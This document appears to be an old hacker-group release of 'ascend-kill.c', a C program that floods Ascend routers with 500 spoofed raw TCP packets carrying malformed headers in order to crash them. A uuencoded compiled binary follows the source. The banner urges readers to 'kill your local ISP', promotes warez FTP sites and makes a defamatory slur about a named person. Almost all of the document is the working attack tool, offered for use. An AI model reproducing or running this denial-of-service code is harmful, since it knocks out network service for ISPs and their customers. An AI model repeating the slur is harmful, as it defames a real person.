(---------------------- ascend-kill.c Start -------------------------------) /* The Posse Brings you: The Linux Ascend Kill Program! Kill your local ISP (or even non-local) 313373133731337313373133731337313373133731337313373133731337313373133731337 1 3 3 1 3 Because Ascend has such a strong programming department that would 3 7 never under any circumstances release a version of their code which 3 3 contained a bug. 7 1 3 3 Well. Ascend did it again. Those pesky non zero length tcp offset's 1 3 do it everytime! Are those fault lights available in christmas colors 3 7 in time for the season? h0h0h0.. 3 3 7 1 BTW, if anyone has any pictures of MSN pops, please post them to 3 3 someplace public so we can all share in the season spirit. 1 3 3 7 - The Posse is back! 3 3 7 1 greetz to : alpha bits, the grave digger, and fast freddy. 3 3 1 3 Goto our eleet ftp sitez: 3 7 3 3 7 1 The Dark Dungeon 198.34.1xx.xxx 600 gigz online! 3 3 Strobe Room 34.101.1xx.xxx 1TB of Warez and H/P/V/A/C/K text 1 3 3 731337313373133731337313373133731337313373133731337313373133731337313373133 3 7 1 2600.com is run off vnetmax.villagenet.com (205.136.35.3) 3 3 Keep your support of 2600, help Emmanuel play with his little boys 1 3 3 731337313373133731337313373133731337313373133731337313373133731337313373133 3 */ #include #include #include #include #include #include #include #include #include #include #include #include unsigned short compute_tcp_checksum(struct tcphdr *th, int len, unsigned long saddr, unsigned long daddr) { unsigned long sum; __asm__(" addl %%ecx, %%ebx adcl %%edx, %%ebx adcl $0, %%ebx " : "=b"(sum) : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256) : "bx", "cx", "dx" ); __asm__(" movl %%ecx, %%edx cld cmpl $32, %%ecx jb 2f shrl $5, %%ecx clc 1: lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx lodsl adcl %%eax, %%ebx loop 1b adcl $0, %%ebx movl %%edx, %%ecx 2: andl $28, %%ecx je 4f shrl $2, %%ecx clc 3: lodsl adcl %%eax, %%ebx loop 3b adcl $0, %%ebx 4: movl $0, %%eax testw $2, %%dx je 5f lodsw addl %%eax, %%ebx adcl $0, %%ebx movw $0, %%ax 5: test $1, %%edx je 6f lodsb addl %%eax, %%ebx adcl $0, %%ebx 6: movl %%ebx, %%eax shrl $16, %%eax addw %%ax, %%bx adcw $0, %%bx " : "=b"(sum) : "0"(sum), "c"(len), "S"(th) : "ax", "bx", "cx", "dx", "si" ); return((~sum) & 0xffff); } #define psize ( sizeof(struct iphdr) + sizeof(struct tcphdr) ) #define tcp_offset ( sizeof(struct iphdr) ) #define err(x) { fprintf(stderr, x); exit(1); } #define errors(x, y) { fprintf(stderr, x, y); exit(1); } struct iphdr temp_ip; int temp_socket = 0; u_short ip_checksum (u_short * buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } void fixhost (struct sockaddr_in *addr, char *hostname) { struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *) addr; (void) bzero ((char *) address, sizeof (struct sockaddr_in)); address->sin_family = AF_INET; address->sin_addr.s_addr = inet_addr (hostname); if ((int) address->sin_addr.s_addr == -1) { host = gethostbyname (hostname); if (host) { bcopy (host->h_addr, (char *) &address->sin_addr, host->h_length); } else { puts ("Couldn't resolve address!!!"); exit (-1); } } } unsigned int lookup (host) char *host; { unsigned int addr; struct hostent *he; addr = inet_addr (host); if (addr == -1) { he = gethostbyname (host); if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL)) return 0; bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list)); } return (addr); } unsigned short lookup_port (p) char *p; { int i; struct servent *s; if ((i = atoi (p)) == 0) { if ((s = getservbyname (p, "tcp")) == NULL) errors ("Unknown port %s\n", p); i = ntohs (s->s_port); } return ((unsigned short) i); } void spoof_packet (struct sockaddr_in local, int fromport, \ struct sockaddr_in remote, int toport, ulong sequence, \ int sock, u_char theflag, ulong acknum, \ char *packdata, int datalen) { char *packet; int tempint; if (datalen > 0) datalen++; packet = (char *) malloc (psize + datalen); tempint = toport; toport = fromport; fromport = tempint; { struct tcphdr *fake_tcp; fake_tcp = (struct tcphdr *) (packet + tcp_offset); fake_tcp->th_dport = htons (fromport); fake_tcp->th_sport = htons (toport); fake_tcp->th_flags = theflag; fake_tcp->th_seq = random (); fake_tcp->th_ack = random (); /* this is what really matters, however we randomize everything else to prevent simple rule based filters */ fake_tcp->th_off = random (); fake_tcp->th_win = random (); fake_tcp->th_urp = random (); } if (datalen > 0) { char *tempbuf; tempbuf = (char *) (packet + tcp_offset + sizeof (struct tcphdr)); for (tempint = 0; tempint < datalen - 1; tempint++) { *tempbuf = *packdata; *tempbuf++; *packdata++; } *tempbuf = '\r'; } { struct iphdr *real_ip; real_ip = (struct iphdr *) packet; real_ip->version = 4; real_ip->ihl = 5; real_ip->tot_len = htons (psize + datalen); real_ip->tos = 0; real_ip->ttl = 64; real_ip->protocol = 6; real_ip->check = 0; real_ip->id = 10786; real_ip->frag_off = 0; bcopy ((char *) &local.sin_addr, &real_ip->daddr, sizeof (real_ip->daddr)); bcopy ((char *) &remote.sin_addr, &real_ip->saddr, sizeof (real_ip->saddr)); temp_ip.saddr = htonl (ntohl (real_ip->daddr)); real_ip->daddr = htonl (ntohl (real_ip->saddr)); real_ip->saddr = temp_ip.saddr; real_ip->check = ip_checksum ((u_short *) packet, sizeof (struct iphdr) >> 1); { struct tcphdr *another_tcp; another_tcp = (struct tcphdr *) (packet + tcp_offset); another_tcp->th_sum = 0; another_tcp->th_sum = compute_tcp_checksum (another_tcp, sizeof (struct tcphdr) + datalen, real_ip->saddr, real_ip->daddr); } } { int result; sock = (int) temp_socket; result = sendto (sock, packet, psize + datalen, 0, (struct sockaddr *) &remote, sizeof (remote)); } free (packet); } void main (argc, argv) int argc; char **argv; { unsigned int daddr; unsigned short dport; struct sockaddr_in sin; int s, i; struct sockaddr_in local, remote; u_long start_seq = 4935835 + getpid (); if (argc != 3) errors ("Usage: %s \n\nDest port of 23 for Ascend units.\n", argv[0]); if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) err ("Unable to open raw socket.\n"); if ((temp_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) err ("Unable to open raw socket.\n"); if (!(daddr = lookup (argv[1]))) err ("Unable to lookup destination address.\n"); dport = lookup_port (argv[2]); sin.sin_family = AF_INET; sin.sin_addr.s_addr = daddr; sin.sin_port = dport; fixhost ((struct sockaddr_in *)(struct sockaddr *) &local, argv[1]); fixhost ((struct sockaddr_in *)(struct sockaddr *) &remote, argv[1]); /* 500 seems to be enough to kill it */ for (i = 0; i < 500; i++) { start_seq++; local.sin_addr.s_addr = random (); spoof_packet (local, random (), remote, dport, start_seq, (int) s, TH_SYN | TH_RST | TH_ACK, 0, NULL, 0); } } (---------------------- ascend-kill.c End -------------------------------) (------------------ ascend-kill bin for ELF Start ------------------------) begin 755 ascend-kill.elf M?T5,1@$!`0````````````(``P`!````H`8`"#0```"D$0```````#0`(``% M`"@`%``3``8````T````-```"#0```B@````H`````4````$`````P```-0` M``#4```(U```"!,````3````!`````$````!``````````````@````(T@\` M`-(/```'`````!````$```#8#P``V!\`"-@?``CT````9`$```8`````$``` M`@```$00``!$(``(1"``"(@```"(````!@````0````O;&EB+VQD+6QI;G5X M+G-O+C$``!$````?````$@```!P````7``````````\````1````$P`````` M```4````"P```!4````9````&@```!@````.````%@`````````````````` M```````;```````````````#````````````````````!``````````````` M"@````4````&````````````````````#0````D````'``````````@````> M````'0`````````!````$`````(````,``````````````````````````L` M``!$(``(`````!$`\?\4````>`4`"*H````2````'0```(@%``AL!```$@`` M`"\```"8!0`(`````"(````V````T"``"%0````1`!$`0@```*@%``@````` M(@```$<```"X!0`(`````"(```!.````R`4`"%@````B````50```-@?``@$ M````$0`,`%\```#8!0`(-@```!(```!E````8`4`"``````2``<`:P```.@% M``A&````$@```'<```#8'P`(!````"``#`!_````^`4`"``````B````AP`` M``@&``@Y````$@```)$````D(0`(`@```!$`$0"?````&`8`"'8````B```` MI@```"@&``B2````$@```*P````X!@`()`$``!(```"Z````$`\`"``````2 M``H`P````$@&``A1`0``$@```,X```!8!@`(-````!(```#5````\!\`"``` M```1`/'_ZP```&@&``B`````$@```/````!X!@`(/@```!(```#[````B`8` M"``````B``````$```0/``@`````$0#Q_P0!G971H;W-T8GEN86UE`%]F:6YI`&=E='-E M6YA;64`871E>&ET`%]'3$]"04Q?3T9&4T547U1!0DQ%7P!E>&ET`%]? M'0`7V5D871A`%]?8G-S7W-T87)T`%]E;F0` M`-`@``@%!0``)"$`"`40``#\'P`(!P(````@``@'`P``!"``"`<$```((``( M!P8```P@``@'!P``$"``"`<(```4(``(!PH``!@@``@'#```'"``"`<.```@ M(``(!P\``"0@``@'$0``*"``"`<2```L(``(!Q,``#`@``@'%0``-"``"`<6 M```X(``(!Q@``#P@``@'&0``0"``"`<:``#H>PD``,(``/\U]!\`"/\E^!\` M"`````#_)?P?``AH`````.G@_____R4`(``(:`@```#IT/____\E!"``"&@0 M````Z<#_____)0@@``AH&````.FP_____R4,(``(:"````#IH/____\E$"`` M"&@H````Z9#_____)10@``AH,````.F`_____R48(``(:#@```#I````.GP_O___R4\(``(:(`` M``#IX/[___\E0"``"&B(````Z=#^__\``````````%F)XXG@B-M"8`````4[OL'P`(@SWL'P`(`'0-D(L#_]"# MPP2#.P!U]%O#C3;#D)"0D)"0D)"0D)"0D)"058GE5U939HM%#(;$P>`0!0`& M``"+712+31")P@'+$=.#TP"+30R+=0B)ROR#^2!R(\'I!?BM$<.M$<.M$<.M M$<.M$<.M$<.M$<.M$Q=PXUT)@!5B>53BUT(BU4,,H0#[?!C0P0BB>Q=PXVT)@````!5B>6#[`13BUT( M4^@X_?__B47\@\0$@_C_=3-3Z%?]__^#Q`2%P'0,@S@`=`>+4!"%TG4,,<#K M&9"-M"8`````:@2-1?Q0BP)0Z!K]__^+1?R+7?B)[%W#D(VT)@````!5B>53 MBUT(:@!J"FH`4^A5_/__@\00A@%_?__C;8`````C;0F`````&:+0`B&Q"7__P``)?__ M``"+7?R)[%W#C3:-M"8`````58GE@^P@5U93BWTLBE4XB%7\@WU$`'X#_T5$ MBT5$@\`H4.@!_/__B47X@\0$B?B&Q(M-^&:)019FBT48AL1FB4$4BEW\B%DA MZ)O[__^+=?B)1ACHD/O__XE&'.B(^___P.`$B$7LBD8@)`\*1>R(1B#H@Q_XM51$J)5>0YUWT8BTU`B@&+ M7>B(`T.)7>A!B4U`1SE]Y'_HBW7HQ@8-BU7XB57@Q@)%9HM%1&:#P"B&Q&:) M0@+&0@$`QD((0,9""09FQT(*``!FQT($(BIFQT(&``!J!(M%^(/`$%"-10Q0 MZ)?[__]J!(M%^(/`#%"-12!0Z(7[__^#Q!B+3?B+01"&Q,'($(;$AL3!R!"& MQ*,T(0`(BT$,AL3!R!"&Q(;$P<@0AL2)01"A-"$`"(E!#(E-Y+\*````QT7H M`````(TVBUWD#[<#`47H@\,"B5WD3X7_?^R+=>C![A`/MT7H`?")1>C!Z!`! M1>AFBTWH9O?1BU7@9HE*"HM=^(/#%(E=](MU^&;'1B0``(M51(/"%(E5\(M- MX(MY#(M9$&:+1?"&Q,'@$`4`!@``B?F)P@'+$=.#TP"+3?"+=?2)ROR#^2!R M(\'I!?BM$<.M$<.M$<.M$<.M$<.M$<.M$<.M$+5?AFB7HDBPW<'P`(:A"-11Q0:@"+142#P"A0 M4E'H'?K__XM=^%/HA/K__XUEU%M>7XGL7<.--E6)Y8/L/%=64XM=".AW^?__ M!9M02P")1<2#^P-T(HM-#(L!4&A)#P`(:-`@``CHM?G__VH!Z![Z__^-M@`` M``!H_P```&H#:@+H:OG__XE%R(/$#(/X_W47:(\/``AHT"``".B`^?__:@'H MZ?G__Y!H_P```&H#:@+H.OG__Z/<'P`(@\0,@_C_=25HCP\`"&C0(``(Z$[Y M__]J`>BW^?__ZPV0D)"0D)"0D)"0D)"0BTT,BUD$4^@\^?__B47,@\0$@_C_ M=2I3Z%OY__^#Q`2%P'0D@S@`=!^+4!"%TG08:@2-1@&^?__C;0F`````(VT)@````!FBT`(AL0E__\``(G'9L=%\`(`B77T9HE] M\HM-#(M9!(U%X&H04.@]^/__9L=%X`(`4^AA^/__B47D@\0,@_C_=4Y3Z(#X M__^)PH/$!(72=!^+0@Q0C47D4(M"$(L`4.A4^/__@\0,ZR>-M"8`````:!@/ M``CHOO?__VK_Z'?X___K#9"0D)"0D)"0D)"0D)"+30R+602-1=!J$%#HQ_?_ M_V;'1=`"`%/HZ_?__XE%U(/$#(/X_W5(4^@*^/__B<*#Q`2%TG09BT(,4(U% MU%"+0A"+`%#HWO?__X/$#.LAD&@8#P`(Z$[W__]J_^@'^/__ZPV0D)"0D)"0 MD)"0D)"0,=N--O]%Q.C\]O__B47D:@!J`&H`:A:+310BT7@4.C2^O__@\1`0X'[ M\P$``'ZJC66X6UY?B>Q=PY"0D)"0D)"0D)"0D%.[X!\`"(,]X!\`"/]T#9"+ M`__0@\/\@SO_=?1;PXTVPY"0D````````````````.@+^/__P@``0V]U;&1N M)W0@!0`(K@4`"+X%``C.!0`(W@4`".X%``C^!0`(#@8`"!X&``@N!@`( M/@8`"$X&``A>!@`(;@8`"'X&``B.!@`(`0````$````,````8`4`"`T````0 M#P`(!````.@```@%````H`,`"`8```"P`0`("@```!\!```+````$````!4` M`````````P```/`?``@"````D````!0````1````%P```-`$``@1````P`0` M"!(````0````$P````@```````````````!'0T,Z("A'3E4I(#(N-RXR+FPN M,P``1T-#.B`H1TY5*2`R+C6UT86(`+G-T6YS='(`+G)E;"YB575E-FBT4,AL3!X!`%``8` M`(M=%(M-$(G"`D%^*T1PZT1PZT1PZT1 MPZT1PZT1PZT1PZT1P^+F@],`B=QT#,'I`OBM$__7^LCC78`:&01``#H:OC_7VK_Z.OQ_U_K#9"0D)"0D)"0 MD)"0D)"-9?A;7HGL7<.-M"8`````58GE@^P$4XM="%/H//7_7XE%_(/$!(/X M_W4S4^B;\_]?@\0$AQ=PW1C<`!5;FMN;W=N('!O@;\?]?ZPV0D)"0D)"0D)"0D)"09HM`"(;$)?__```E M__\``(M=_(GL7<.--HVT)@````!5B>6#["!75E.+?2R*53B(5?R#?40`?@/_ M142+142#P"A0Z(WU_U^)1?B#Q`2)^(;$BTWX9HE!%F:+11B&Q&:)012*7?R( M62'H?^W_7XMU^(E&&.AT[?]?B48R*1B`D#PI%[(A&(.A6 M[?]?9HE&(NA-[?]?9HE&)H-]1`!^,8/&*(EUZ#'_BU5$2HE5Y#G7?1B+34"* M`8M=Z(@#0XE=Z$&)34!'.7WD?^B+=>C&!@V+5?B)5>#&`D5FBT5$9H/`*(;$ M9HE"`L9"`0#&0@A`QD()!F;'0@H``&;'0@0B*F;'0@8``&H$BT7X@\`04(U% M#%#HV^W_7VH$BT7X@\`,4(U%(%#HR>W_7X/$&(M-^(M!$(;$P<@0AL2&Q,'( M$(;$HX0@``"+00R&Q,'($(;$AL3!R!"&Q(E!$*&$(```B4$,B4WDOPH```#' M1>@`````C3:+7>0/MP,!1>B#PP*)7>1/A?]_[(MUZ,'N$`^W1>@!\(E%Z,'H M$`%%Z&:+3>AF]]&+5>!FB4H*BUWX@\,4B5WTBW7X9L=&)```BU5$@\(4B57P MBTW@BWD,BUD09HM%\(;$P>`0!0`&``")^8G"`D%^*T1PZT1PZT1PZT1PZT1PZT1PZT1PZT1P^+F@],`B=QT#,'I M`OBM$B2+#00@``!J$(U%'%!J`(M%1(/` M*%!24>BQ]O]?BUWX4^A0[_]?C6746UY?B>Q=PU5S86=E.B`E M[O]?:@'HG^W_7XUV`&C_````:@-J`NA>]_]?B47$@\0,@_C_=1=HJ!4``&C4 M!PE@Z"SN_U]J`>AM[?]?D&C_````:@-J`N@N]_]?HP0@``"#Q`R#^/]U)6BH M%0``:-0'"6#H^NW_7VH!Z#OM_U_K#9"0D)"0D)"0D)"0D)"+30R+6013Z*#P M_U^)1C.[/]?C3:+30R+ M60AJ"FH`4^B4]_]?@\0,AB,[/]?9HM`"(;$)?__``!FB47(9L=%\`(`B77T9HM-R&:) M3?*+30R+602-1>!J$%#H<^K_7V;'1>`"`%/HS^__7XE%Y(/$#(/X_W5(4^@N M[O]?B<*#Q`2%TG09BT(,4(U%Y%"+0A"+`%#H$NK_7X/$#.LAD&AD$0``Z(KR M_U]J_^@+[/]?ZPV0D)"0D)"0D)"0D)"0BTT,BUD$C470:A!0Z`/J_U]FQT70 M`@!3Z%_O_U^)1=2#Q`R#^/]U2%/HONW_7XG"@\0$A=)T&8M"#%"-1=10BT(0 MBP!0Z*+I_U^#Q`SK(9!H9!$``.@:\O]?:O_HF^O_7^L-D)"0D)"0D)"0D)"0 MD#';C39'Z&+H_U^)1>1J`&H`:@!J%HM-Q%%7#[=%R%"+1=Q0BT784(M%U%"+ M1=!0Z#CH_U]0BT7L4(M%Z%"+1>10BT7@4.A6^O__@\1`0X'[\P$``'ZNC66X M6UY?B>Q=PU6)Y5.[E"```(,]E"````!T#HTVBP.#PP3_T(,[`'7TBUW\B>Q= MPXTVC;0F`````%6)Y5.A0"```(/X_W49,<"#/40@````=`Z-=@!`@SR%1"`` M``!U]8G#A=MT#XUV`(L$G4`@``#_T$MU]&BD&```Z'[H_U^+7?R)[%W#C78` M58GE@SUP(````'4/QP5P(````0```.B5____B>Q=PY``````58GE4[@!```` MBUT(S8"%P'T,]]BC$"```+C_____BUW\B>Q=PY"0D)"0D)"0D)"058GE4[A6 M````BUT(S8"%P'T,]]BC$"```+C_____BUW\B>Q=PY"0D)"0D)"0D)"058GE M4XM-#(M5$+@$````BUT(S8"%P'T,]]BC$"```+C_____BUW\B>Q=PY"0D)"0 M58GE4XM-#+A;````BUT(S8"%P'T,]]BC$"```+C_____BUW\B>Q=PR]L:6(O M;&0NQ=PY"0```` M`%6)Y8/L!&:+50AFA=)U!;IR$P``V7W^9HM%_F8EP/!FB47^B=!F)3\/9HM5 M_F8)T&:)1?[9;?Z)[%W#D`````!5B>575E.+?0R+=1`QVSD=H"```'8=D)!6 M5XM5"%*+!)VD(```_]"#Q`Q#.1V@(```=^6-9?1;7E^)[%W#D)"0;&EB8RYS M;RXT`$1,3"!*=6UP(#0N-W!L-0"0D``````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M`-,>Z_X`````#"``````````````````````D)``````2!P``%(<``````!@ MP0($``#P"&`````````````````!````^#\`8``````#`````"```#@@```P M(`````````(```#\'P``("`````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` "```` ` end (----------------- ascend-kill bin for aout End ----------------------)